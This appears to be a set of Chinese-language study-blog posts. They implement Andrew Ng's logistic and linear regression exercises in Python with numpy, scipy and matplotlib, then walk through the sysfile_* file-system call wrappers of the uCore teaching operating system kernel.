import numpy as np
from sigmoid import sigmoid

def cost_Function_Reg(X,Y,theta,lmd):
# 计算代价和梯度
m = X.shape[0]
Z = np.dot(X,theta)
g = sigmoid(Z) # Sigmoid函数(假设陈述)

cost = - (Y.T).dot(np.log(g)) - ((1-Y).T).dot(np.log(1-g))
cost = cost /(m) + lmd * (theta.T).dot(theta) / (2*m)
grad = (X.T).dot(g-Y.reshape(Y.size))/ m
grad[0] = grad[0]
grad[1:] = grad[1:] + (lmd * theta[1:])/m

return cost,grad
  • array.T:二维数组转置
  • dot(x , y):两个数组作矩阵乘积,当两个数组的维度不能直接进行矩阵乘法时,dot会把尝试后面的参数进行转置

这个 sigmoid 就是“假设陈述”:

1
2
3
4
5
import numpy as np

def sigmoid(z):
g = 1/(1+np.exp(-z))
return g
  • exp(z):求“e的z次方”

整个式子就相当于:(标准的 Sigmoid 函数)

实现主体:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# ====== 2.计算代价和梯度 ======
(m,n) = X.shape
X = np.c_[np.ones(m),X] # 添加偏置维度
init_theta = np.zeros(X.shape[1]) # 初始化theta值
lmd = 0 # 初始化lambda值(使其为'0',排除正则化的影响)
cost,grad = cf.cost_Function_Reg(X,Y,init_theta,lmd) # 计算代价和梯度
print('Cost at initial theta (zeros): {:0.3f}'.format(cost))
print('Expected cost (approx): 0.693')
print('Gradient at initial theta (zeros): \n{}'.format(grad))
print('Expected gradients (approx): \n-0.1000\n-12.0092\n-11.2628')

# 使用非0的theta测试函数
test_theta = np.array([-24,0.2,0.2]) # 生成的是列向量
cost, grad = cf.cost_Function_Reg(X,Y,test_theta,0)
print('Cost at test theta (zeros): {:0.3f}'.format(cost))
print('Expected cost (approx): 0.218')
print('Gradient at test theta: \n{}'.format(grad))
print('Expected gradients (approx): 0.043, 2.566, 2.647')

Learning parameters using fminunc A(学习使用fminunc)

在上一个作业中,您通过实现梯度下降找到了线性回归模型的最佳参数:你写了一个代价函数,计算了它的梯度,然后相应地进行了梯度下降

这一次,您将使用一个名为 fminunc 的函数,而不是采用梯度下降步骤

  • Octave/MATLAB 的 fminunc 是一个优化解算器,可以找到无约束函数的最小值,对于逻辑回归,需要优化成本函数 J(θ),具体来说,您将使用 fminunc 找到最佳参数 θ 对于逻辑回归成本函数 J(θ)

实现如下:(使用 fminunc 进行拟合)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import scipy.optimize as opt # SciPy的optimize模块提供了常用的最优化算法函数实现

# ======= 3.使用优化函数来优化求解 ========
def cost_func(t):
return cf.cost_Function_Reg(X,Y,t,0)[0]

def grad_func(t):
return cf.cost_Function_Reg(X,Y,t,0)[1]

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=init_theta, maxiter=400, full_output=True, disp=False) # fminunc函数
print('Cost at theta found by fmin: {:0.3f}'.format(cost)) # 可以发现:计算出的cost会小很多(优化效果好)
print('Expected cost (approx): 0.203')
print('theta: \n{}'.format(theta))
print('Expected Theta (approx): \n-25.161\n0.206\n0.201')

# 使用计算出的theta来绘制分界线
pdb.plot_Decision_Boundary(X,Y,theta)
plt.xlabel('Exam 1 score')
plt.ylabel('Exam 2 score')
plt.show()

效果如下:

最后看一下 plot_Decision_Boundary 的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
def plot_Decision_Boundary(X,Y,theta):
plot_data(X[:,1:3],Y)

if X.shape[1] <= 3:
plot_x = np.array([np.min(X[:,1])-2,np.max(X[:,1])+2])
plot_y = (-1/theta[2]) * (theta[1]*plot_x + theta[0])

plt.plot(plot_x,plot_y)
plt.legend(['Decision Boundary', 'Admitted', 'Not admitted']) # legend:创建图例
plt.axis([30,100,30,100]) # 做x,y轴[30,100]
else:
u = np.linspace(-1,1.5,50) # linspace:线性空间中以均匀步长生成数字序列
v = np.linspace(-1,1.5,50)
z = np.zeros((u.size,v.size)) # zeros:返回来一个给定形状和类型的,用'0'填充的数组

for i in range(0,u.size):
for j in range(0,v.size):
z[i,j] = np.dot(map_feature(u[i],v[j],6),theta,)

z = z.T
cs = plt.contour(u,v,z,level=[0],colors='b',label='Decision Boundary')
plt.legend([cs.collections[0]], ['Decision Boundary'])

def map_feature(x1,x2,power):
x1 = x1.reshape((x1.size,1)) # reshape:给数组一个新的形状而不改变其数据
x2 = x2.reshape((x2.size,1))
result = np.ones(x1[:,0].shape) # ones:返回给定形状和数据类型的新数组

for i in range(1,power+1):
for j in range(0,i+1):
result = np.c_[result,(x1**(i-j))*(x2**j)] # c_[x,y]:按列叠加两个矩阵,把两个矩阵左右组合,要求行数相等

return result

Evaluating logistic regression(评估逻辑回归)

在学习了这些参数之后,您可以使用该模型来预测某个特定的学生是否会被录取:

  • 对于一次考试成绩为45分、二次考试成绩为85分的学生,你应该预计入学概率为0.776
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from sigmoid import sigmoid
from predict import predict

# ====== 4.预测和计算准确率 ======
prob = sigmoid(np.array([1, 45, 85]).T.dot(theta)) # Sigmoid函数(假设陈述)
print('For a student with scores 45 and 85, we predict an admission probability of {:0.4f}'.format(prob))
print('Expected value : 0.775 +/- 0.002')

P = predict(X,theta) # 计算模型的精度(把预测值和真实值进行对比)
print('Train accuracy:{}'.format(np.mean(P == Y)*100)) # mean:求取平均值
print('Expected accuracy (approx): 89.0') # 预期精度:89.0

def predict(X,theta):
P = sigmoid(X.dot(theta))
P[P>=0.5] = 1
P[P<0.5] = 0
return P

Regularized Logistic Regression(正则逻辑回归)

在本部分练习中,您将实施正则化逻辑回归,以预测制造厂的微芯片是否通过质量保证(QA)

在QA过程中,每个微芯片都要经过各种测试,以确保其功能正常:

  • 假设你是工厂的产品经理,你有一些微芯片在两次测试中的测试结果
  • 从这两个测试中,您可以确定是否应该接受或拒绝微芯片
  • 为了帮助你做出决定,你有一个关于过去微芯片测试结果的数据集,从中你可以建立一个逻辑回归模型

Visualizing the data B(可视化数据)

与本练习的前几部分类似,plotData 用于生成图形:

1
2
3
4
5
6
7
8
9
10
11
12
# ====== 1.读取数据 ======
data = np.loadtxt('data\ex2data2.txt', delimiter=',')
X = data[:, 0:2] # 第一/二列: 第一/二次的测试分数
y = data[:, 2] # 第三列: 是否合格('1'表示合格,'0'表示不合格)

plot_data(X, y) # 图像处理函数(主要是散点的处理)

plt.xlabel('Microchip Test 1')
plt.ylabel('Microchip Test 2')
plt.legend(['y = 1', 'y = 0'])
plt.show()

可以发现:大概是一个二次的模型

  • 如果参数θ过少,代价函数就会过大(欠拟合)
  • 如果参数θ过多,代价函数足够小了,但是泛化能力下降(过拟合)

所以考虑使用正则来平衡过拟合的影响

Feature mapping(特征映射)

更好地拟合数据的方法是从每个数据点创建更多特征

  • 在提供的函数 mapFeature 中:我们将把这些特征映射成x1和x2的所有多项式项,直到六次方
  • 作为这种映射的结果,我们的两个特征向量(两次QA测试的分数)已转换为28维向量
  • 在这个高维特征向量上训练的逻辑回归分类器将具有更复杂的决策边界,并且在我们的二维图中绘制时将呈现非线性
  • 虽然特征映射允许我们构建更具表现力的分类器,但它也更容易过度拟合
  • 在本练习的下一部分中,您将实施正则化逻辑回归来拟合数据,并亲自了解正则化如何帮助解决过度拟合问题

Cost function and gradient B(代价函数与梯度)

现在,您将实现用于计算正则逻辑回归的代价函数和梯度的代码:完成 costFunctionReg 中的代码,返回成本和梯度

正则化交叉熵公式:

实现如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from costFunction import cost_Function_Reg 

# ====== 2.投影到高维,计算带正则项的代价和梯度 ======
X = mf.map_feature(X[:, 0], X[:, 1],6)
print(X.shape)
initial_theta = np.zeros(X.shape[1]) # 初始化拟合参数θ
lmd = 1 # 将正则化参数lambda设置为1

# 计算并显示正则逻辑回归的初始成本和梯度
cost, grad = cost_Function_Reg (X, y,initial_theta, lmd)

np.set_printoptions(formatter={'float': '{: 0.4f}\n'.format})
print('Cost at initial theta (zeros): {: 0.4f}'.format(cost))
print('Expected cost (approx): 0.693')
print('Gradient at initial theta (zeros) - first five values only: \n{}'.format(grad[0:5]))
print('Expected gradients (approx) - first five values only: \n 0.0085\n 0.0188\n 0.0001\n 0.0503\n 0.0115')

Learning parameters using fminunc B(学习使用fminunc)

这个和上一个板块的区别不大,只要设置 λ 非零就好了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# ====== 3.使用优化函数来优化求解 ======

initial_theta = np.zeros(X.shape[1])
lmd = 1 # 设置λ非零

def cost_func(t):
return cost_Function_Reg(X, y,t, lmd)[0]

def grad_func(t):
return cost_Function_Reg(X, y,t, lmd)[1]

theta, cost, *unused = opt.fmin_bfgs(f=cost_func, fprime=grad_func, x0=initial_theta, maxiter=400, full_output=True, disp=False)

print('Plotting decision boundary ...')
pdb.plot_Decision_Boundary( X, y,theta)
plt.title('lambda = {}'.format(lmd))

plt.xlabel('Microchip Test 1')
plt.ylabel('Microchip Test 2')
plt.show()
p = predict.predict( X,theta)

print('Train Accuracy: {:0.4f}'.format(np.mean(y == p) * 100))
print('Expected accuracy (with lambda = 1): 83.1 (approx)')

绘图结果:

Plotting the decision boundary(绘制决策边界)

在本部分中,我们需要绘制出决策边界,您将尝试 lambda 的不同值,查看正则化如何影响决策边界

  • 尝试以下 lambda 值(0、5、10、100)
  • 观察决策边界图形的不同
  • 查看训练集的准确度是否各不相同

实验1,lambda = 0:

  • Train Accuracy: 88.1356

实验2,lambda = 5:

  • Train Accuracy: 80.5085

实验3,lambda = 10:

  • Train Accuracy: 68.6441

实验4,lambda = 100:

  • Train Accuracy: 61.0169

实验介绍

在本练习中,您将实现线性回归,并了解它的工作原理

实验文件:

  • ex1.m - Octave/MATLAB脚本,帮助您完成练习
  • ex1 multi.m - 多个 Octave/MATLAB 脚本,用于练习的后续部分
  • ex1data1.txt - txt-单变量线性回归数据集
  • ex1data2.txt - txt-多变量线性回归数据集
  • submit.m - 将您的解决方案发送到我们的服务器
  • [?] warmUpExercise.m - Octave/MATLAB中的简单示例函数
  • [?] plotData.m - 用来显示数据集的函数
  • [?] computeCost.m - 用来计算线性回归的成本的函数
  • [?] gradientDescent.m - 用来运行梯度下降的函数
  • [†] computeCostMulti.m - 多变量代价函数
  • [†] gradientDescentMulti.m - 多变量梯度下降
  • [†] featureNormalize.m - 用于规范化特征的函数
  • [†] normalEqn.m - 用于计算正规方程组的函数

在整个练习中,您将使用 ex1.m 和 ex1 multi.m,这些脚本为问题设置数据集,并调用将要编写的函数,您不需要修改它们中的任何一个,您只需按照本任务中的说明修改其他文件中的函数

对于这个编程练习,您只需要完成练习的第一部分,就可以使用一个变量实现线性回归,练习的第二部分是可选的,内容包括使用多变量

PS:由于本人不会使用 Octave,以下实验是在 github 上找的 python 版本

Linear regression with one variable(单变量线性回归)

在本练习的这一部分中,您将使用一个变量实现线性回归,以预测食品卡车的利润:

  • 假设你是一家连锁餐厅的首席执行官,正在考虑在不同的城市开设一家新的分店
  • 这家连锁店在各个城市都有卡车,你可以从这些城市获得利润和人口数据
  • 您希望使用这些数据来帮助您选择下一步要扩展到哪个城市
    • 文件 ex1data1.txt 包含线性回归问题的数据集(第一列是一个城市的人口,第二列是该城市食品卡车的利润,利润为负值表示亏损)
    • 脚本 ex1.m 已经被设置好你需要加载的这些数据

Plotting the Data A(绘制数据)

在开始任何任务之前,通过可视化来理解数据通常是有用的

对于这个数据集,您可以使用散点图来可视化数据,因为它只有两个属性需要绘制 - 利润和人口(你在现实生活中会遇到的许多其他问题都是多维的,无法绘制在二维图上)

  • 在 ex1.m 中,数据集从数据文件加载到了变量X和Y中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import matplotlib.pyplot as plt # as相当于加了一个别称(这个类不用实例化)

# ======== 1.载入数据和绘制散点图 ========
print('读取数据,并绘制散点图...\n')
filepath = r'data\ex1data1.txt'
# 从文件中读取数据,第一列是城市的人口,第二列是该城市食品卡车的利润,中间用','作为分隔符
dataset = np.loadtxt(filepath, delimiter=',', usecols=(0,1))
# filepath: 文件路径
# delimiter: 分隔符
# usecols: 选取数据的列编号
Xdata = dataset[:,0] # 获取第一列的数据-城市的人口(因)
Ydata = dataset[:,1] # 获取第二列的数据-卡车的利润(果)
plt.figure(0) # 初始化图表(命名其为"0")
plt.scatter(Xdata,Ydata,c='red',marker='o',s=20) # 设置图表上的断点
plt.xlabel('Population of City in 10,000s',fontsize=10) # 设置x轴上的文字
plt.ylabel('Profit of City in $10,000',fontsize=10) # 设置y轴上的文字
plt.legend(['Data Point']) # 设置左上角的注释
plt.show() # 显示该图表
  • loadtxt(filepath , delimiter , usecols):从文件路径 filepath 中读取第 usecols 列的数据,以 delimiter 为数据之间的间隔

这里使用了 Matplotlib Pyplot 模块(Pyplot 是常用的绘图模块,能很方便让用户绘制 2D 图表)

Gradient Descent(梯度下降)

  • 算法原理:
  • 代码实现:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import numpy as np
from computeCost import compute_cost

def gradient_descent(X,Y,theta_init,alpha,iter_num):
# X: 城市的人口(添加有偏置维度)
# Y: 卡车的利润
# theta_init: 参数θ(初始值)
# alpha: 学习率α
# iter_num: 迭代次数iter
m = Y.shape[0]
J_history = np.zeros(iter_num) # 用于记录代价的历史值
theta = theta_init
for num in range(0,iter_num):
J_history[num] = compute_cost(X,Y,theta) # 用代价函数计算代价并记录
hyp = np.dot(X,np.transpose(theta))
theta = theta - alpha * np.dot(np.transpose(hyp -Y),X) / m
return theta,J_history # 返回"参数θ(已改变)"和"代价的历史值"
  • zeros():返回来一个给定形状和类型的,用“0”填充的数组
  • shape():它的功能是读取矩阵的长度,比如 “shape[0]” 就是读取矩阵第一维度的长度

Mean squared error(代价函数-均方误差)

  • 算法原理:
  • 代码实现:
1
2
3
4
5
6
7
8
9
10
import numpy as np

def compute_cost(X,Y,theta):
# X: 城市的人口(添加有偏置维度)
# Y: 卡车的利润
# theta: 参数θ(已改变)
hypthesis = np.dot(X,np.transpose(theta))
cost = np.dot(np.transpose(hypthesis - Y),(hypthesis -Y))
cost = cost / (2 * X.shape[0])
return cost
  • dot(x , y):两个数组作矩阵乘积,当两个数组的维度不能直接进行矩阵乘法时,dot会把尝试后面的参数进行转置
  • transpose(x):把矩阵进行转置

Completion process(具体的拟合过程)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import numpy as np

# ======== 2.计算代价和梯度 ========
print('进行梯度计算...\n')
X = np.c_[np.ones(Xdata.shape[0]),Xdata] # 给输入数据Xdata增加一个偏置维度
Y = Ydata
theta_init = np.zeros(X.shape[1]) # 初始化(θ,参数)
iter_num = 1500 # 初始化(iter,迭代次数)
alpha = 0.01 # 初始化(α,学习率)

print('Initial cost:', str(compute_cost(X,Y,theta_init)), '\nThis value should be 32.07') # 利用代价函数计算初始代价
theta_fin,J_history = gradient_descent(X,Y,theta_init,alpha,iter_num) # 利用梯度下降法进行优化求解,返回记录代价历史值的J_history,和最终θ(theta_fin)
print('Theta found by gradient descent:',str(theta_fin.reshape(2)))

# 绘制数据散点图和线性回归曲线
plt.figure(1)
plt.scatter(Xdata,Ydata,c='red',marker='o',s=20)
plt.plot(X[:,1],np.dot(X,theta_fin),'b-',lw=3)
plt.xlabel('Population of City in 10,000s',fontsize=10)
plt.ylabel('Profit of City in $10,000',fontsize=10)
plt.legend(['Data Point','Linear Regression'])
plt.show()
  • ones(shape , dtype=None , order=’C’):返回给定形状和数据类型的新数组

  • c_[ x , y ]:按列叠加两个矩阵,把两个矩阵左右组合,要求行数相等

1
2
3
4
5
6
7
8
9
x_1 = 
[[1 2 3]
[4 5 6]]
x_2 =
[[3 2 1]
[8 9 6]]
x_new =
[[1 2 3 3 2 1]
[4 5 6 8 9 6]]

Visualizing J(θ)(可视化代价函数的执行过程)

为了更好地理解代价函数 J(θ),我们将生成 J(θ)的曲面和等高线图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from mpl_toolkits.mplot3d import Axes3D
from matplotlib.colors import LogNorm

# ======== 3.可视化代价J(theta0,theta1) ========
theta0_vals = np.linspace(-10,10,100) # xs的每一行都是theta0_vals的复制
theta1_vals = np.linspace(-1,4,100) # ys的每一列都是theta1_vals的复制
xs,ys = np.meshgrid(theta0_vals,theta1_vals) # 生成网格点坐标矩阵
J_vals = np.zeros(xs.shape)

for i in range(0,theta0_vals.size):
for j in range(0,theta1_vals.size):
t = np.array([theta0_vals[i],theta1_vals[j]])
J_vals[i][j] = compute_cost(X,Y,t)
J_vals = np.transpose(J_vals)

# 绘制3D曲面图
figure = plt.figure(2)
ax = Axes3D(figure) # 把图像指定为3D视图
ax.plot_surface(xs,ys,J_vals,cmap='rainbow') # 指定图形的色彩(彩虹色)
plt.xlabel(r'$\theta_0$')
plt.ylabel(r'$\theta_1$')
plt.show()

# 绘制代价的等高椭圆线
plt.figure(3)
lvls = np.logspace(-2, 3, 20)
plt.contour(xs, ys, J_vals, levels=lvls, norm = LogNorm()) # 设置坐标和值,指定等高线的值,指定色彩
plt.plot(theta_fin[0], theta_fin[1], 'ro',markersize =6) # 设置图像中的那个红点
plt.show()
  • linspace(start , stop , num=50 , endpoint=True , retstep=False , dtype=None):用于在线性空间中以均匀步长生成数字序列
  • meshgrid(theta0_vals , theta0_vals):生成坐标矩阵
  • array(A , B , …. ):创建一个数组(参数有几个就是几维)
  • logspace(start , stop , num=50 , endpoint=True , base=10.0):把范围是 “[base的start次方,base的stop次方]” 的数据,在对数尺度上返回间隔均匀的数字(有点看不懂)
1
2
3
4
5
6
>>> np.logspace(2.0, 3.0, num=4)
array([ 100. , 215.443469 , 464.15888336, 1000. ])
>>> np.logspace(2.0, 3.0, num=4, endpoint=False) # endpoint:停止时是否是最后一个样本
array([100. , 177.827941 , 316.22776602, 562.34132519])
>>> np.logspace(2.0, 3.0, num=4, base=2.0)
array([4. , 5.0396842 , 6.34960421, 8. ])

结果如下:

Linear regression with multiple variables(多元线性回归)

在这一部分中,您将使用多变量线性回归来预测房价:

  • 假设你要卖房子,你想知道一个好的市场价格是多少
  • 一种方法是首先收集最近售出房屋的信息,并制作一个房价模型
    • 文件 ex1data2.txt 包含 Portland 房价的培训数据集(第一栏是房子的大小,第二栏是卧室的数量,第三栏是房子的价格)
    • 脚本 ex1_multi.m 已设置脚本以帮助您逐步完成此练习

Feature Normalization(特征规范化)

脚本 ex1_multi.m 首先加载并显示此数据集中的一些值,通过查看这些值,注意到:房屋大小大约是卧室数量的1000倍

当特征相差几个数量级时,首先执行特征缩放可以使梯度下降更快地收敛

Feature Normalization 的原理

  • 从数据集中减去每个特征的平均值
  • 减去平均值后,再将特征值按各自的“标准偏差”进行缩放(除)

Feature Normalization 代码实现:

1
2
3
4
5
6
def feature_normalize(Xdata):
X_mean = np.mean(Xdata,axis=0)
X_std = np.std(Xdata,axis=0)
X_norm = np.divide(np.subtract(Xdata,X_mean),X_std)

return X_norm,X_mean,X_std
  • mean(A , axis=0):计算每一维度的均值
  • std(A , axis=0):计算沿指定轴的标准差
  • divide(A , B):数组对应位置元素进行除法
  • subtract(A , B):数组对应位置元素进行减法

Completion process(具体过程)

1
2
3
4
5
6
7
8
9
# ======== 1.读取数据并标准化数据的特征 ========
data = np.loadtxt(r'data\ex1data2.txt',delimiter =',') # 从文件中读取数据,中间用','作为分隔符(第一栏是房子的大小,第二栏是卧室的数量,第三栏是房子的价格)
Xdata = data[:,0:2] # 房子的大小&卧室的数量(因)
Ydata = data[:,2] # 房子的价格(果)
X,mu,sigma = feature_normalize(Xdata) # 对输入数据特征进行标准化
print('Mu is:',mu)
print('Sigma is:',sigma)
X = np.c_[np.ones(X.shape[0]),X] # 给输入数据Xdata增加一个偏置维度
Y = Ydata

Plotting the Data B(绘制数据)

这一部分我们需要绘制反应 “迭代次数和代价函数值关系” 的图形,还是使用梯度下降法求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from gradientDescent import gradient_descent as gd

# ======== 2.使用梯度下降法求解 ========
theta_init = np.zeros(X.shape[1])
alpha = 0.05
num_iters = 300

theta,J_history = gd(X,Y,theta_init,alpha,num_iters) # 利用梯度下降法进行优化求解,返回记录代价历史值的J_history,和最终θ(theta)

# 绘制"迭代次数和代价函数值关系"的图形
plt.figure()
plt.plot(np.arange(J_history.size),J_history)
plt.xlabel('Number of iterations')
plt.ylabel('Cost J')
plt.show()
print('Theta computed from gradient descent : \n{}'.format(theta)) # PS:theta是数组格式

梯度下降算法和前面实现的一样,就不多赘述了,下面是“预测”的过程:

1
2
3
4
# ======== 3.预测 ========
Xtest = np.array([1,1650,3])
price = np.dot(Xtest,np.transpose(theta))
print('Predicted price of a 1650 sq-ft, 3 br house (using normal equations) : {:0.3f}'.format(price))

结构如下:

文件系统和文件

文件系统简述:

文件系统是操作系统用于明确 “存储设备或分区上的文件” 的 “一组方法和数据结构”,是操作系统中负责管理和存储文件信息的软件机构(被称为文件管理系统,简称文件系统)

  • 注意:文件系统是对应硬盘的分区的,而不是整个硬盘,不管是硬盘只有一个分区,还是几个分区,不同的分区可以有着不同的文件系统

文件系统由三部分组成:

  • 文件系统的接口层(用于对文件系统进行操作的一系列函数)
  • 文件系统抽象层(“对象操纵和管理” 软件的集合)
  • 对象及属性

从系统角度来看,文件系统是对文件存储设备的空间进行组织和分配,负责文件存储并对存入的文件进行保护和检索的系统,具体地说,它负责为用户建立文件,存入、读出、修改、转储文件,控制文件的存取,当用户不再使用时撤销文件等,文件系统是软件系统的一部分,它的存在使得应用可以方便的使用抽象命名的数据对象和大小可变的空间

  • 比如桌面上的各种文件:操作系统提供了一种抽象来控制管理这些文件,可以是图形界面,也可以是命令行,这些抽象可以让我们忽略一些底层的原理,免去了大量复杂的操作

文件系统的功能:

  • 管理和调度文件的存储空间,提供文件的逻辑结构、物理结构和存储方法
  • 实现文件从标识到实际地址的映射,实现文件的控制操作和存取操作,实现文件信息的共享并提供可靠的文件保密和保护措施,提供文件的安全措施

文件系统-访问接口层

下面就是在内核中通用的文件相关函数(上层的文件系统需要的系统调用),同时也是我们在uCore中最常使用的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int sysfile_open(const char *path, uint32_t open_flags);    // 打开或创建一个文件
int sysfile_close(int fd); // 关闭一个打开的vnode
int sysfile_read(int fd, void *base, size_t len); // 读-Read file
int sysfile_write(int fd, void *base, size_t len); // 写-Write file
int sysfile_seek(int fd, off_t pos, int whence); // 查找-Seek file
int sysfile_fstat(int fd, struct stat *stat); // 统计-Stat file
int sysfile_fsync(int fd); // 同步-Sync file
int sysfile_chdir(const char *path); // 改变DIR(页目录表)
int sysfile_mkdir(const char *path); // 创建DIR(页目录表)
int sysfile_link(const char *path1, const char *path2); // 设置path1的链接设置为path2
int sysfile_rename(const char *path1, const char *path2); // 重命名文件
int sysfile_unlink(const char *path); // 取消path的链接
int sysfile_getcwd(char *buf, size_t len); // 获取当前工作目录
int sysfile_getdirentry(int fd, struct dirent *direntp); // 在DIR中获取文件条目
int sysfile_dup(int fd1, int fd2); // 复制文件
int sysfile_pipe(int *fd_store); // 建造管道
int sysfile_mkfifo(const char *name, uint32_t open_flags); // 生成命名管道
  • sysfile_open:打开或创建一个文件
1
2
3
4
5
6
7
8
9
10
11
int
sysfile_open(const char *__path, uint32_t open_flags) {
int ret;
char *path;
if ((ret = copy_path(&path, __path)) != 0) {
return ret;
}
ret = file_open(path, open_flags);
kfree(path);
return ret;
}
  • sysfile_close:关闭一个打开的vnode
1
2
3
4
int
sysfile_close(int fd) {
return file_close(fd);
}
  • sysfile_read:读文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int
sysfile_read(int fd, void *base, size_t len) {
struct mm_struct *mm = current->mm;
if (len == 0) {
return 0;
}
if (!file_testfd(fd, 1, 0)) {
return -E_INVAL;
}
void *buffer;
if ((buffer = kmalloc(IOBUF_SIZE)) == NULL) {
return -E_NO_MEM;
}
int ret = 0;
size_t copied = 0, alen;
while (len != 0) {
if ((alen = IOBUF_SIZE) > len) {
alen = len;
}
ret = file_read(fd, buffer, alen, &alen);
if (alen != 0) {
lock_mm(mm);
{
if (copy_to_user(mm, base, buffer, alen)) {
assert(len >= alen);
base += alen, len -= alen, copied += alen;
}
else if (ret == 0) {
ret = -E_INVAL;
}
}
unlock_mm(mm);
}
if (ret != 0 || alen == 0) {
goto out;
}
}
out:
kfree(buffer);
if (copied != 0) {
return copied;
}
return ret;
}
  • sysfile_write:写文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
int
sysfile_write(int fd, void *base, size_t len) {
struct mm_struct *mm = current->mm;
if (len == 0) {
return 0;
}
if (!file_testfd(fd, 0, 1)) {
return -E_INVAL;
}
void *buffer;
if ((buffer = kmalloc(IOBUF_SIZE)) == NULL) {
return -E_NO_MEM;
}

int ret = 0;
size_t copied = 0, alen;
while (len != 0) {
if ((alen = IOBUF_SIZE) > len) {
alen = len;
}
lock_mm(mm);
{
if (!copy_from_user(mm, buffer, base, alen, 0)) {
ret = -E_INVAL;
}
}
unlock_mm(mm);
if (ret == 0) {
ret = file_write(fd, buffer, alen, &alen);
if (alen != 0) {
assert(len >= alen);
base += alen, len -= alen, copied += alen;
}
}
if (ret != 0 || alen == 0) {
goto out;
}
}

out:
kfree(buffer);
if (copied != 0) {
return copied;
}
return ret;
}
  • sysfile_seek:寻找文件
1
2
3
4
int
sysfile_seek(int fd, off_t pos, int whence) {
return file_seek(fd, pos, whence);
}
  • sysfile_fstat:统计文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
sysfile_fstat(int fd, struct stat *__stat) {
struct mm_struct *mm = current->mm;
int ret;
struct stat __local_stat, *stat = &__local_stat;
if ((ret = file_fstat(fd, stat)) != 0) {
return ret;
}

lock_mm(mm);
{
if (!copy_to_user(mm, __stat, stat, sizeof(struct stat))) {
ret = -E_INVAL;
}
}
unlock_mm(mm);
return ret;
}
  • sysfile_fsync:同步文件
1
2
3
4
int
sysfile_fsync(int fd) {
return file_fsync(fd);
}
  • sysfile_chdir:改变DIR(页目录表)
1
2
3
4
5
6
7
8
9
10
11
int
sysfile_chdir(const char *__path) {
int ret;
char *path;
if ((ret = copy_path(&path, __path)) != 0) {
return ret;
}
ret = vfs_chdir(path);
kfree(path);
return ret;
}
  • sysfile_mkdir:创建DIR(页目录表),ucore没有该接口,它采用另一种方式实现
  • sysfile_link:设置path1的链接设置为path2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
sysfile_link(const char *__path1, const char *__path2) {
int ret;
char *old_path, *new_path;
if ((ret = copy_path(&old_path, __path1)) != 0) {
return ret;
}
if ((ret = copy_path(&new_path, __path2)) != 0) {
kfree(old_path);
return ret;
}
ret = vfs_link(old_path, new_path);
kfree(old_path), kfree(new_path);
return ret;
}
  • sysfile_rename:重命名文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int
sysfile_rename(const char *__path1, const char *__path2) {
int ret;
char *old_path, *new_path;
if ((ret = copy_path(&old_path, __path1)) != 0) {
return ret;
}
if ((ret = copy_path(&new_path, __path2)) != 0) {
kfree(old_path);
return ret;
}
ret = vfs_rename(old_path, new_path);
kfree(old_path), kfree(new_path);
return ret;
}
  • sysfile_unlink:取消path的链接
1
2
3
4
5
6
7
8
9
10
11
int
sysfile_unlink(const char *__path) {
int ret;
char *path;
if ((ret = copy_path(&path, __path)) != 0) {
return ret;
}
ret = vfs_unlink(path);
kfree(path);
return ret;
}
  • sysfile_getcwd:获取当前工作目录
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int
sysfile_getcwd(char *buf, size_t len) {
struct mm_struct *mm = current->mm;
if (len == 0) {
return -E_INVAL;
}

int ret = -E_INVAL;
lock_mm(mm);
{
if (user_mem_check(mm, (uintptr_t)buf, len, 1)) {
struct iobuf __iob, *iob = iobuf_init(&__iob, buf, len, 0);
ret = vfs_getcwd(iob);
}
}
unlock_mm(mm);
return ret;
}
  • sysfile_getdirentry:在DIR中获取文件条目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int
sysfile_getdirentry(int fd, struct dirent *__direntp) {
struct mm_struct *mm = current->mm;
struct dirent *direntp;
if ((direntp = kmalloc(sizeof(struct dirent))) == NULL) {
return -E_NO_MEM;
}

int ret = 0;
lock_mm(mm);
{
if (!copy_from_user(mm, &(direntp->offset), &(__direntp->offset), sizeof(direntp->offset), 1)) {
ret = -E_INVAL;
}
}
unlock_mm(mm);

if (ret != 0 || (ret = file_getdirentry(fd, direntp)) != 0) {
goto out;
}

lock_mm(mm);
{
if (!copy_to_user(mm, __direntp, direntp, sizeof(struct dirent))) {
ret = -E_INVAL;
}
}
unlock_mm(mm);

out:
kfree(direntp);
return ret;
}
  • sysfile_dup:复制文件
1
2
3
4
int
sysfile_dup(int fd1, int fd2) {
return file_dup(fd1, fd2);
}
  • sysfile_pipe:创建管道(未完成)
1
2
3
4
int
sysfile_pipe(int *fd_store) {
return -E_UNIMP;
}
  • sysfile_mkfifo:生成命名管道(未完成)
1
2
3
4
int
sysfile_mkfifo(const char *__name, uint32_t open_flags) {
return -E_UNIMP;
}

